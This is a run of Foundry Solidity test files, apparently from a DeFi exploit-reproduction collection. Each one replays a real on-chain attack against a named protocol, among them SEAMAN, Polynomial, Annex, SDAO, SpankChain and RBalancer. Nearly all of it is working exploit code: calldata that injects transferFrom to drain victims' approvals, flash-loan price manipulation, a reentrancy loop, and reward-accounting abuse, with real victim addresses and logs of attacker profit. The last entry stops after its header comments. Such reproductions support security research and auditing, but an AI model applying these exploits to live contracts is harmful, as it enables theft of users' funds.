// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";

// Attacker: 0xae39a6c2379bef53334ea968f4c711c8cf3898b6
// Vulnerable Contract: 0x0ad8229d4bc84135786ae752b9a9d53392a8afd4
// Attack Tx: https://phalcon.blocksec.com/tx/eth/0x674f74b30a3d7bdf15fa60a7c29d96a402ea894a055f624164a8009df98386a0
//            https://etherscan.io/tx/0x674f74b30a3d7bdf15fa60a7c29d96a402ea894a055f624164a8009df98386a0

// @Analysis
// https://twitter.com/Supremacy_CA/status/1590337718755954690

contract Exploit is Test {
    WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);

    address private constant vulnerableContract = 0x0AD8229D4bC84135786AE752B9A9D53392A8afd4;
    address private constant attacker = 0xAE39A6c2379BEF53334EA968F4c711c8CF3898b6;
    address private constant victim = 0x211B6a1137BF539B2750e02b9E525CF5757A35aE;

    function testHack() external {
        vm.createSelectFork("mainnet", 15_926_096);

        // use these tools to decode raw calldata: https://www.ethcmd.com/tools/decode-calldata/  +  https://calldata-decoder.apoorv.xyz/
        bytes memory payload = abi.encodeWithSelector(
            0x090f88ca,
            address(USDC),
            address(WETH),
            0, // ?
            1, // ?
            abi.encodeWithSelector(IERC20.transferFrom.selector, victim, attacker, USDC.balanceOf(victim))
        );

        vulnerableContract.call(payload);

        console.log("Attacker's profit: %s USDC", USDC.balanceOf(attacker) / 1e6);
    }
}

/* -------------------- Interface -------------------- */
interface IERC20 {
    function transfer(address to, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(
        address account
    ) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    function deliver(
        uint256 tAmount
    ) external;
}

interface WETH9 {
    function deposit() external payable;
    function transfer(address to, uint256 value) external returns (bool);
    function approve(address guy, uint256 wad) external returns (bool);
    function withdraw(
        uint256 wad
    ) external;
    function balanceOf(
        address
    ) external view returns (uint256);
}

MEV_0ad8 Exploit (2022-11)


//SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/peckshield/status/1597493955939405825
// https://twitter.com/CertiKAlert/status/1597513374841044993
// https://twitter.com/BeosinAlert/status/1597535796621631489
// @TX
// https://bscscan.com/tx/0x6f1af27d08b10caa7e96ec3d580bf39e29fd5ece00abda7d8955715403bf34a8

contract ContractTest is Test {
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 SEAMAN = IERC20(0x6bc9b4976ba6f8C9574326375204eE469993D038);
    IERC20 GVC = IERC20(0xDB95FBc5532eEb43DeEd56c8dc050c930e31017e);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    address dodo = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;
    address Pair = 0x6637914482670f91F43025802b6755F27050b0a6;

    CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheat.createSelectFork("bsc", 23_467_515);
    }

    function testExploit() public {
        DVM(dodo).flashLoan(0, 800_000 * 1e18, address(this), new bytes(1));

        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        USDT.approve(address(Router), type(uint256).max);
        USDTToSEAMAN();
        USDTToGVC();
        for (uint256 i = 0; i < 20; i++) {
            SEAMAN.transfer(Pair, 1);
        }
        GVCToUSDT();
        USDT.transfer(dodo, 800_000 * 1e18);
    }

    function USDTToSEAMAN() internal {
        address[] memory path = new address[](2);
        path[0] = address(USDT);
        path[1] = address(SEAMAN);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(10 * 1e9, 0, path, address(this), block.timestamp);
    }

    function USDTToGVC() internal {
        address[] memory path = new address[](2);
        path[0] = address(USDT);
        path[1] = address(GVC);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            500_000 * 1e18, 0, path, address(this), block.timestamp
        );
    }

    function GVCToUSDT() internal {
        GVC.approve(address(Router), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = address(GVC);
        path[1] = address(USDT);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            GVC.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }
}

SEAMAN Exploit (2022-11)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/AnciliaInc/status/1597742575623888896
// https://twitter.com/CertiKAlert/status/1597639717096460288
// @TX
// https://phalcon.blocksec.com/tx/bsc/0xdc53a6b5bf8e2962cf0e0eada6451f10956f4c0845a3ce134ddb050365f15c86

interface IMBC is IERC20 {
    function swapAndLiquifyStepv1() external;
}

interface IZZSH is IERC20 {
    function swapAndLiquifyStepv1() external;
}

contract ContractTest is Test {
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 ETH = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);
    IMBC MBC = IMBC(0x4E87880A72f6896E7e0a635A5838fFc89b13bd17);
    IZZSH ZZSH = IZZSH(0xeE04a3f9795897fd74b7F04Bb299Ba25521606e6);
    address dodo = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;

    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    Uni_Pair_V2 MBCPair = Uni_Pair_V2(0x5b1Bf836fba1836Ca7ffCE26f155c75dBFa4aDF1);
    Uni_Pair_V2 ZZSHPair = Uni_Pair_V2(0x33CCA0E0CFf617a2aef1397113E779E42a06a74A);

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    uint256 dodoFlahloanAmount;

    function setUp() public {
        cheats.createSelectFork("bsc", 23_474_460);
    }

    function testExploit() public {
        USDT.approve(address(Router), type(uint256).max);
        MBC.approve(address(Router), type(uint256).max);
        ZZSH.approve(address(Router), type(uint256).max);
        dodoFlahloanAmount = USDT.balanceOf(dodo);
        DVM(dodo).flashLoan(0, dodoFlahloanAmount, address(this), new bytes(1));

        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        // Intial rate MBC/USDT -> 1.1365032200116891/1
        // Pair getReserves -> 12475110456913920021663 / 10976748888389080860664
        address[] memory path = new address[](2);
        path[0] = address(USDT);
        path[1] = address(MBC);
        uint256[] memory values = Router.getAmountsOut(150_000 * 10 ** 18, path);

        USDT.transfer(address(MBCPair), 150_000 * 10 ** 18);

        MBCPair.swap(values[1], 0, address(this), "");

        MBC.swapAndLiquifyStepv1();

        // MBCPair.sync(); // unnecessary

        // Altered rate MBC/USDT -> 0.0052991665156216445/1
        // Pair getReserves -> 900258815097978209431 / 169886870405763976494888

        USDT.transfer(address(MBCPair), 1001); // function() _isAddLiquidityV1()
        MBC.transfer(address(MBCPair), MBC.balanceOf(address(this)));
        (uint256 MBCReserve,,) = MBCPair.getReserves();
        uint256 amountIn = MBC.balanceOf(address(MBCPair)) - MBCReserve;
        path[0] = address(MBC);
        path[1] = address(USDT);
        values = Router.getAmountsOut(amountIn, path);

        MBCPair.swap(0, values[1], address(this), "");

        path[0] = address(USDT);
        path[1] = address(ZZSH);
        values = Router.getAmountsOut(150_000 * 10 ** 18, path);

        USDT.transfer(address(ZZSHPair), 150_000 * 10 ** 18);

        ZZSHPair.swap(0, values[1], address(this), "");

        ZZSH.swapAndLiquifyStepv1();

        // ZZSHPair.sync(); // unnecessary

        USDT.transfer(address(ZZSHPair), 1001); // function() _isAddLiquidityV1()
        ZZSH.transfer(address(ZZSHPair), ZZSH.balanceOf(address(this)));
        (, uint256 ZZSHReserve,) = ZZSHPair.getReserves();
        amountIn = ZZSH.balanceOf(address(ZZSHPair)) - ZZSHReserve;
        path[0] = address(ZZSH);
        path[1] = address(USDT);
        values = Router.getAmountsOut(amountIn, path);

        ZZSHPair.swap(values[1], 0, address(this), "");

        USDT.transfer(dodo, dodoFlahloanAmount);
    }
}

MBC_ZZSH Exploit (2022-11)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo -- Total Lost : ~1.4K USD
// TX : https://app.blocksec.com/explorer/tx/optimism/0x9f34ae044cbbf3f1603769dcd90163add48348dde7e1dda41817991935ebfa2f
// Attacker : https://optimistic.etherscan.io/address/0xcf8396010fb7e651f85a439dd7ebc0c8ab56b3f3
// Attack Contract : https://optimistic.etherscan.io/address/0xf682e302f16c9509ffa133029ccf6de55f4e29a8
// GUY : https://x.com/peckshield/status/1602216000187174912
interface PolynomialZap {
    function swapAndDeposit(
        address user,
        address token,
        address depositToken,
        address swapTarget,
        address vault,
        uint256 amount,
        bytes memory swapData
    ) external payable;
}

contract ContractTest is Test {
    // Constants
    IERC20 private constant USDT = IERC20(0x94b008aA00579c1307B0EF2c499aD98a8ce58e58);
    IERC20 private constant WETH = IERC20(0x4200000000000000000000000000000000000006);
    IERC20 private constant USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);
    address private constant ETH_ADDRESS = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);

    // State variables
    address private vuln = 0x00dD464dBA9fC0C20c4cC4D470E8Bf965788C150;
    PolynomialZap private zap = PolynomialZap(0xDEEB242E045e5827Edf526399bd13E7fFEba4281);
    PolynomialZap private zaps = PolynomialZap(0xB162f01C5BDA7a68292410aaA059E7Ce28D77c82);
    address private pool = 0x1D751bc1A723AccF1942122ca9aa82d49D08d2AE;

    // Victim addresses
    address[] private victims = [
        0x6467024Ef6247A94c8cf60D50715aE71B8B1dfBf,
        0x59022C79236A0F90bAc80b29357bc1d3e6d227d5,
        0xDa1521c966bc95324E156f4F04B28F2804985da5,
        0xfd47c9Ad54D12Caa895FabCD4f7F4308a5F24161,
        0x316c42Af89b913429DBe4a86f30373172340A821
    ];

    function setUp() public {
        vm.createSelectFork("optimism", 39_343_642);
    }

    function testExploit() public {
        attack();
    }

    function attack() public {
        for (uint256 i = 0; i < victims.length; i++) {
            executeSwapAndDeposit(victims[i]);
        }
        emit log_named_decimal_uint(
            "[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
        );
    }

    function executeSwapAndDeposit(
        address victim
    ) internal {
        bytes memory data = encodeTransferData(victim);
        PolynomialZap zapContract = (victim == victims[0]) ? zap : zaps;

        zapContract.swapAndDeposit(victim, ETH_ADDRESS, address(this), address(USDC), address(this), 0, data);
    }

    function encodeTransferData(
        address victim
    ) internal view returns (bytes memory) {
        uint256 amount;
        if (victim == victims[0]) {
            amount = USDC.balanceOf(victim);
        } else if (victim == victims[1]) {
            amount = 10 * 1e6;
        } else {
            amount = USDC.allowance(victim, address(zaps));
        }
        return abi.encodeWithSelector(bytes4(0x23b872dd), victim, address(this), amount);
    }

    function balanceOf(
        address account
    ) public view returns (uint256) {
        return 1;
    }

    function approve(address spender, uint256 amount) public pure returns (bool) {
        return true;
    }

    function initiateDeposit(address _add, uint256 amount) external {}
}

Polynomial Exploit (2022-11)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/AnciliaInc/status/1593690338526273536
// @TX
// https://bscscan.com/tx/0x3757d177482171dcfad7066c5e88d6f0f0fe74b28f32e41dd77137cad859c777

contract ContractTest is Test {
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    IUniswapV2Factory Factory = IUniswapV2Factory(0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73);
    address Token;
    uint256 WBNBAmount;
    address Pair;
    address constant dodo = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
    address constant Liquidator = 0xe65E970F065643bA80E5822edfF483A1d75263E3;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 23_165_446);
    }

    function testExploit() public {
        MyERC20 MyToken = new MyERC20();
        Token = address(MyToken);
        MyToken.mint(10 * 1e18);
        DVM(dodo).flashLoan(8 * 1e18, 0, address(this), new bytes(1));

        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        IERC20(Token).approve(address(Router), type(uint256).max);
        WBNB.approve(address(Router), type(uint256).max);
        Router.addLiquidity(
            address(Token), address(WBNB), 8 * 1e18, 8 * 1e18, 0, 0, address(this), block.timestamp + 60
        );
        Pair = Factory.getPair(Token, address(WBNB));
        WBNBAmount = WBNB.balanceOf(Liquidator);
        bytes memory data1 = abi.encode(address(this), address(this), address(this));
        if (Uni_Pair_V2(Pair).token0() == address(WBNB)) {
            Uni_Pair_V2(Pair).swap(WBNBAmount, 0, Liquidator, data1);
        } else {
            Uni_Pair_V2(Pair).swap(0, WBNBAmount, Liquidator, data1);
        }
        Uni_Pair_V2(Pair).approve(address(Router), type(uint256).max);
        Router.removeLiquidity(
            address(Token),
            address(WBNB),
            Uni_Pair_V2(Pair).balanceOf(address(this)),
            0,
            0,
            address(this),
            block.timestamp + 60
        );
        WBNB.transferFrom(Liquidator, address(this), WBNB.balanceOf(Liquidator));
        WBNB.transfer(dodo, 8 * 1e18);
    }

    function liquidateBorrow(
        address borrower,
        uint256 repayAmount,
        address cTokenCollateral
    ) external returns (uint256) {
        return 0;
    }

    function balanceOf(
        address account
    ) external returns (uint256) {
        return 0;
    }

    function redeem(
        uint256 redeemTokens
    ) external returns (uint256) {
        return 0;
    }
}

contract MyERC20 {
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    string public name = "Shit Coin";
    string public symbol = "Shit";
    uint8 public decimals = 18;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function transfer(address recipient, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function mint(
        uint256 amount
    ) external {
        balanceOf[msg.sender] += amount;
        totalSupply += amount;
        emit Transfer(address(0), msg.sender, amount);
    }

    function burn(
        uint256 amount
    ) external {
        balanceOf[msg.sender] -= amount;
        totalSupply -= amount;
        emit Transfer(msg.sender, address(0), amount);
    }
}

Annex Exploit (2022-11)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/8olidity/status/1594693686398316544
// https://twitter.com/CertiKAlert/status/1594615286556393478
// @TX
// https://bscscan.com/tx/0xb3ac111d294ea9dedfd99349304a9606df0b572d05da8cedf47ba169d10791ed

interface sDAO is IERC20 {
    function stakeLP(
        uint256 _lpAmount
    ) external;
    function withdrawTeam(
        address _token
    ) external;
    function getPerTokenReward() external view returns (uint256);
    function userLPStakeAmount(
        address account
    ) external view returns (uint256);
    function userRewardPerTokenPaid(
        address account
    ) external view returns (uint256);
    function totalStakeReward() external view returns (uint256);
    function lastTotalStakeReward() external view returns (uint256);
    function pendingToken(
        address account
    ) external view returns (uint256);
    function getReward() external;
}

contract ContractTest is Test {
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    sDAO SDAO = sDAO(0x6666625Ab26131B490E7015333F97306F05Bf816);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0x333896437125fF680f146f18c8A164Be831C4C71);
    address dodo = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 23_241_440);
    }

    function testExploit() public {
        USDT.approve(address(Router), type(uint256).max);
        SDAO.approve(address(Router), type(uint256).max);
        Pair.approve(address(Router), type(uint256).max);
        Pair.approve(address(SDAO), type(uint256).max);
        SDAO.approve(address(this), type(uint256).max);
        DVM(dodo).flashLoan(0, 500 * 1e18, address(this), new bytes(1));

        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        USDTToSDAO();
        addUSDTsDAOLiquidity();
        SDAO.stakeLP(Pair.balanceOf(address(this)) / 2);
        // SDAO.transfer(address(Pair), SDAO.balanceOf(address(this)));
        SDAO.transferFrom(address(this), address(Pair), SDAO.balanceOf(address(this))); // change totalStakeReward > lastTotalStakeReward
        SDAO.withdrawTeam(address(Pair));
        Pair.transfer(address(SDAO), 13 * 1e15);
        // uint total = SDAO.totalStakeReward();
        // uint lasttotal =SDAO.lastTotalStakeReward();
        // uint stake = SDAO.userLPStakeAmount(address(this));
        // uint paid = SDAO.userRewardPerTokenPaid(address(this));
        // uint reward = SDAO.getPerTokenReward();
        // uint pending = SDAO.pendingToken(address(this));
        SDAO.getReward();
        SDAOToUSDT();
        USDT.transfer(dodo, 500 * 1e18);
    }

    function USDTToSDAO() internal {
        address[] memory path = new address[](2);
        path[0] = address(USDT);
        path[1] = address(SDAO);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            250 * 1e18, 0, path, address(this), block.timestamp + 60
        );
    }

    function addUSDTsDAOLiquidity() internal {
        Router.addLiquidity(
            address(USDT),
            address(SDAO),
            USDT.balanceOf(address(this)),
            SDAO.balanceOf(address(this)) / 2,
            0,
            0,
            address(this),
            block.timestamp + 60
        );
    }

    function SDAOToUSDT() internal {
        address[] memory path = new address[](2);
        path[0] = address(SDAO);
        path[1] = address(USDT);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            SDAO.balanceOf(address(this)), 0, path, address(this), block.timestamp + 60
        );
    }
}

SDAO Exploit (2022-11)


// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/BeosinAlert/status/1589501207181393920
// https://twitter.com/CertiKAlert/status/1589428153591615488
// TX
// https://bscscan.com/tx/0x03d363462519029cf9a544d44046cad0c7e64c5fb1f2adf5dd5438a9a0d2ec8e

interface VBUSD {
    function mint(
        uint256 mintAmount
    ) external;
    function redeemUnderlying(
        uint256 redeemAmount
    ) external;
}

interface VCAKE {
    function borrow(
        uint256 borrowAmount
    ) external;
    function repayBorrow(
        uint256 repayAmount
    ) external;
}

interface BeefyVault {
    function depositAll() external;
    function withdrawAll() external;
}

interface StrategySyrup {
    function harvest() external;
}

contract Harvest {
    constructor() {
        StrategySyrup strategySyrup = StrategySyrup(0xC2562DD7E4CAeE53DF0f9cD7d4dDDAa53bcD3D9b);
        strategySyrup.harvest();
    }
}

interface Unitroller {
    function getAccountLiquidity(
        address account
    ) external returns (uint256, uint256, uint256);
    function enterMarkets(
        address[] calldata vTokens
    ) external;
}

contract ContractTest is Test {
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IERC20 CTK = IERC20(0xA8c2B8eec3d368C0253ad3dae65a5F2BBB89c929);
    IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
    IERC20 CAKE = IERC20(0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82);
    VBUSD vBUSD = VBUSD(0x95c78222B3D6e262426483D42CfA53685A67Ab9D);
    VCAKE vCAKE = VCAKE(0x86aC3974e2BD0d60825230fa6F355fF11409df5c);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    Unitroller unitroller = Unitroller(0xfD36E2c2a6789Db23113685031d7F16329158384);
    BeefyVault beefyVault = BeefyVault(0x489afbAED0Ea796712c9A6d366C16CA3876D8184);
    address constant dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
    address constant SmartChef = 0xF35d63Df93f32e025bce4A1B98dcEC1fe07AD892;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        // the ankr rpc maybe dont work , please use QuickNode
        cheats.createSelectFork("bsc", 22_832_427);
    }

    function testExploit() public {
        address(WBNB).call{value: 3 ether}("");
        WBNBToCTK();
        CTK.transfer(address(SmartChef), CTK.balanceOf(address(this)));
        DVM(dodo).flashLoan(0, 400_000 * 1e18, address(this), new bytes(1));

        emit log_named_decimal_uint("[End] Attacker CAKE balance after exploit", CAKE.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        address[] memory cTokens = new address[](2);
        cTokens[0] = address(vBUSD);
        cTokens[1] = address(vCAKE);
        unitroller.enterMarkets(cTokens);
        BUSD.approve(address(vBUSD), type(uint256).max);
        vBUSD.mint(BUSD.balanceOf(address(this)));
        vCAKE.borrow(50_000 * 1e18);
        CAKE.approve(address(beefyVault), type(uint256).max);
        beefyVault.depositAll();
        // Removing this step, the profit seem to be higher 😂
        // because the harveset() funciton will swap some CAKE to WBNB
        Harvest harvest = new Harvest();
        beefyVault.withdrawAll();
        CAKE.approve(address(vCAKE), type(uint256).max);
        vCAKE.repayBorrow(50_000 * 1e18);
        vBUSD.redeemUnderlying(400_000 * 1e18);
        BUSD.transfer(dodo, 400_000 * 1e18);
    }

    function WBNBToCTK() internal {
        WBNB.approve(address(Router), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(CTK);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }
}

MooCAKECTX Exploit (2022-11)


// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface Blacksmith {
    function claimRewardsForPools(
        address[] calldata _lpTokens
    ) external;

    function claimRewards(
        address _lpToken
    ) external;

    function deposit(address _lpToken, uint256 _amount) external;

    function withdraw(address _lpToken, uint256 _amount) external;
}

contract ContractTest is Test {
    CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    Blacksmith public bs = Blacksmith(0xE0B94a7BB45dD905c79bB1992C9879f40F1CAeD5);

    IERC20 public bpt = IERC20(0x59686E01Aa841f622a43688153062C2f24F8fDed);

    IERC20 public Cover = IERC20(0x5D8d9F5b96f4438195BE9b99eee6118Ed4304286);

    function setUp() public {
        cheat.createSelectFork("mainnet", 11_542_309); // fork mainnet at block 11542309
    }

    function test() public {
        cheat.prank(0x00007569643bc1709561ec2E86F385Df3759e5DD);
        bs.deposit(address(bpt), 15_255_552_810_089_260_015_361);
        emit log_named_uint("Deposit BPT", 15_255_552_810_089_260_015_361);
        cheat.prank(0x00007569643bc1709561ec2E86F385Df3759e5DD);
        //bs.withdraw(address(bpt),12345678);
        bs.claimRewards(address(bpt));
        emit log_named_uint(
            "After claimRewards, Cover Balance", Cover.balanceOf(0x00007569643bc1709561ec2E86F385Df3759e5DD)
        );
    }
}

Cover Exploit (2020-12)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";

// @KeyInfo - Total Lost : 155 $ETH
// Attacker : https://etherscan.io/address/0xcf267eA3f1ebae3C29feA0A3253F94F3122C2199
// Attack Contract : https://etherscan.io/address/0xc5918a927C4FB83FE99E30d6F66707F4b396900E
// Vulnerable Contract : https://etherscan.io/address/0xf91546835f756DA0c10cFa0CDA95b15577b84aA7
// Attack Tx : https://etherscan.io/tx/0x21e9d20b57f6ae60dac23466c8395d47f42dc24628e5a31f224567a2b4effa88

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0xf91546835f756DA0c10cFa0CDA95b15577b84aA7#code

// @Analysis
// Post-mortem :
// Twitter Guy :
// Hacking God :
pragma solidity ^0.8.0;

interface ISpankChain {
    function createChannel(
        bytes32 _lcID,
        address _partyI,
        uint256 _confirmTime,
        address _token,
        uint256[2] memory _balances // [eth, token]
    ) external payable;
    function LCOpenTimeout(
        bytes32 _lcID
    ) external;

    event DidLCOpen(
        bytes32 indexed channelId,
        address indexed partyA,
        address indexed partyI,
        uint256 ethBalanceA,
        address token,
        uint256 tokenBalanceA,
        uint256 LCopenTimeout
    );
}

contract SpankChainExploit is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 6_467_248 - 1;

    function setUp() public {
        vm.createSelectFork("mainnet", blocknumToForkFrom);
        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
        fundingToken = address(0);
    }

    function testExploit() public balanceLog {
        //implement exploit code here
        vm.deal(address(this), 5 ether); //simulation flashloan
        SpankChainExploitHelper h = new SpankChainExploitHelper();
        h.exploit{value: 5 ether}(32);
        payable(address(0x0)).transfer(5 ether); //simulation replay flashloan
    }

    fallback() external payable {}
}

contract SpankChainExploitHelper {
    ISpankChain spankChain = ISpankChain(0xf91546835f756DA0c10cFa0CDA95b15577b84aA7);
    uint256 limit;
    uint256 count = 1;

    function exploit(
        uint256 c
    ) public payable {
        limit = c;
        uint256[2] memory balances;
        balances[0] = 5_000_000_000_000_000_000;
        balances[1] = 1;
        spankChain.createChannel{value: 5 ether}(
            hex"4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45",
            msg.sender,
            type(uint256).max - block.timestamp + 1,
            address(this),
            balances
        );
        spankChain.LCOpenTimeout(hex"4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45");
        payable(msg.sender).transfer(address(this).balance);
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        if (count < limit) {
            count = count + 1;
            spankChain.LCOpenTimeout(hex"4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45");
        }
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        return true;
    }

    fallback() external payable {}
}

SpankChain Exploit (2018-10)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo -- Total Lost : ~17  ETH
// TX : https://app.blocksec.com/explorer/tx/eth/0xbf5b2d22fa88965ddfc6e6d685fc7cfc683340c49e126386759ed9e4027b1415
// Attacker : https://etherscan.io/address/0x9abe851bcc4fd1986c3d1ef8978fad86a26a0c57
// Attack Contract : https://etherscan.io/address/0x9c52c485edd3d22847a1614b8988fbf520b33047
// GUY : https://x.com/AnciliaInc/status/1722121056083943909

contract ContractTest is Test {
    WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IERC20 Stone = IERC20(0x7122985656e38BDC0302Db86685bb972b145bD3C);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    address Vulncontract = 0xA62F9C5af106FeEE069F38dE51098D9d81B90572;

    function setUp() public {
        vm.createSelectFork("mainnet", 18_523_440);
    }

    function testExpolit() public {
        emit log_named_decimal_uint(
            "attacker WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals()
        );
        emit log_named_decimal_uint("attacker balance before attack", address(this).balance, 18);

        attack();

        emit log_named_decimal_uint(
            "attacker WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()
        );
        emit log_named_decimal_uint("attacker balance after attack", address(this).balance, 18);
    }

    function attack() public {
        address(Vulncontract).call{value: 8600 ether}(abi.encodeWithSelector(bytes4(0xd0e30db0)));

        address(Vulncontract).call(abi.encodeWithSelector(bytes4(0x5069fb57)));

        Stone.approve(address(Vulncontract), type(uint256).max);

        address(Vulncontract).call(abi.encodeWithSelector(bytes4(0xb18f2e91), 0, 8_582_162_020_025_013_545_654));
    }

    fallback() external payable {}
}

RBalancer Exploit (2023-11)


// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~$53K
// Attacker : https://basescan.org/address/0x5aa27d556f898846b9bad32f0cdba5b1f8bc3144
// Attack Contract : https://basescan.org/address/0xc4566ae957ad8dde4768bdd28cdc3695e4780b2c
// Vulnerable Contract : https://basescan.org/address/0x26fe408bbd7a490feb056da8e2d1e007938e5685
// Prepare Tx : https://app.blocksec.com/explorer/tx/base/0x6462f5e358eb2c7769e6aa59ce43277be4799b297bc4c9503610443b9d56cc24
